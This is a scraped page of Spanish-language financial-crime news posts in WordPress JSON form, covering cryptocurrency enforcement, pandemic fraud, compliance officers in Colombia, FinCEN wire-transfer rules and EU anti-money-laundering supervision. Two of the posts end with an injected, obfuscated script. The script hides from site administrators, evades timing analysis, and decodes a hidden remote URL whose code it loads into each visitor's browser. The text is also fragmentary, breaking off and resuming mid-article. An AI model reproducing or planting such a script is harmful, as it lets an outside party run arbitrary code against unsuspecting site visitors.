procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos 